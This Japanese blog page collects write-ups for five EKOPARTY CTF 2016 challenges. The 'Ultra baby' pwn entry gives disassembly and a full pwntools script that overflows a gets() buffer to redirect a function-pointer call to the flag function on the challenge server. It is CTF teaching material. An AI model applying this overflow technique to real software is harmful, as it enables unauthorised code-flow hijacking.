EKOPARTY CTF 2016

EKOPARTY CTF 2016 writeup Ultra baby

Ultra baby

(pwn, 25 points, solved by 238)

Reach the flag function!


nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000

Attachment

pwn25_5ae6e58885e7cd75.zip

与えられたファイルを解凍し、fileコマンドでファイルタイプを確認します。Linuxの64bitバイナリです。
$ file ultrababy 
ultrababy: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped
objdumpコマンドで逆アセンブルします。
$ objdump -s -D ultrababy > aaa.txt
アドレス7f3にフラグを出力するFlag関数があります。
00000000000007e0 <Bye>:
 7e0: 55                   push   %rbp
 7e1: 48 89 e5             mov    %rsp,%rbp
 7e4: 48 8d 3d 4d 01 00 00 lea    0x14d(%rip),%rdi #938 Bye bye
 7eb: e8 90 fe ff ff       callq  680 <_init+0x28> #puts
 7f0: 90                   nop
 7f1: 5d                   pop    %rbp
 7f2: c3                   retq   

00000000000007f3 <Flag>:
 7f3: 55                   push   %rbp
 7f4: 48 89 e5             mov    %rsp,%rbp
 7f7: 48 8d 3d 42 01 00 00 lea    0x142(%rip),%rdi #940 EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
 7fe: e8 7d fe ff ff       callq  680 <_init+0x28> #puts
 803: 90                   nop
 804: 5d                   pop    %rbp
 805: c3                   retq   
次にmain関数を見てみます。アドレス881で入力を受け付けて、アドレス89eでレジスタrdxが指すアドレスをcallしています。
0000000000000806 <main>:
(略)
 881: e8 02 fe ff ff       callq  688 <_init+0x30> #gets
(略)
 89e: ff d2                 callq  *%rdx #ここのcall先を07f3<Flag>に書き換える
それでは、edbでアドレス89eにBreakpointを設定したときのStackとRegisterの状態を見てみましょう。
 
1 2

Stackのアドレスe2b0に入力文字列が格納されています。そしてアドレスe2c8の値がレジスタのRDXに設定されています。通常はアドレス7e0のBye関数がcallされます。
したがって、入力文字列の25文字目でcallさせるアドレスを上書きできますので、0xf3で上書きしてアドレス7f3をcallさせるようにします。そのPythonプログラムを下記します。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./ultrababy')
else:
    p = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)

time.sleep(0.1)

p.sendline(
''
+ 'A' * 24
+ p8(0xf3) #flag
)
time.sleep(0.1)
p.recvall()
このPythonプログラムを実行すると、次のとおりフラグを出力させることができました。
$ python aaa.py
[+] Opening connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site on port 55000: Done
[DEBUG] Sent 0x1a bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  f3 0a                     │AAAA│AAAA│??│
    0000001a
[+] Recieving all data: Done (66B)
[DEBUG] Received 0x1f bytes:
    'Welcome, give me you best shot\n'
[DEBUG] Received 0x23 bytes:
    'EKO{Welcome_to_pwning_challs_2k16}\n'
[*] Closed connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site port 55000
フラグは、
EKO{Welcome_to_pwning_challs_2k16}
です。



EKOPARTY CTF 2016 writeup RFC 7230

RFC 7230

(web, 50 points, solved by 508)

Get just basic information from this server (ctf.ekoparty.org).

Fiddlerを立ち上げて、ブラウザでhttp://ctf.ekoparty.orgにアクセスします。下図のとおり、レスポンスヘッダーのServerタグにフラグが設定されています。

no title

フラグは、
EKO{this_is_my_great_server}
です。

 

EKOPARTY CTF 2016 writeup Mr. Robot

Mr. Robot

(web, 25 points, solved by 518)

Disallow it!

https://ctf.ekoparty.org/robots.txt にアクセスします。
User-agent: *
Disallow: /static/wIMti7Z27b.txt
次に、https://ctf.ekoparty.org/static/wIMti7Z27b.txt にアクセスします。
EKO{robot_is_following_us}
フラグは、
EKO{robot_is_following_us}
です。



EKOPARTY CTF 2016 writeup JVM

JVM

(rev, 25 points, solved by 483)

Bytecodes everywhere, reverse them.

Attachment

rev25_3100aa76fca4432f.zip

ダウンロードした解凍すると、Javaのclassファイル「EKO.class」ファイルができます。このファイルをJD-GUIで逆コンパイルし、Javaソースを参照します。
public class EKO
{
  public static void main(String[] paramArrayOfString)
  {
    int i = 0;
    for (int j = 0; j < 1337; j++) {
      i += j;
    }
    String str = "EKO{" + i + "}";
  }
}
0から1336までの和を、フラグ形式で囲んだものがフラグになります。
したがってフラグは、
EKO{893116}
です。

新・明解Java入門 (明解シリーズ)
柴田 望洋
SBクリエイティブ
2016-06-25

 

EKOPARTY CTF 2016 writeup Hidden inside EKO

Hidden inside EKO

(misc, 50 points, solved by 314)

Find the hidden flag in the EKO pixels!

背景画像の中にフラグがありそうです。/static/css/ctf.cssファイルで下記のとおり背景画像を指定しています。
background-image: url("/static/img/background.png");
この画像ファイルの左上の部分に黒字でフラグが記載されています。

background

フラグは、
EKO{th3_fl4g}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー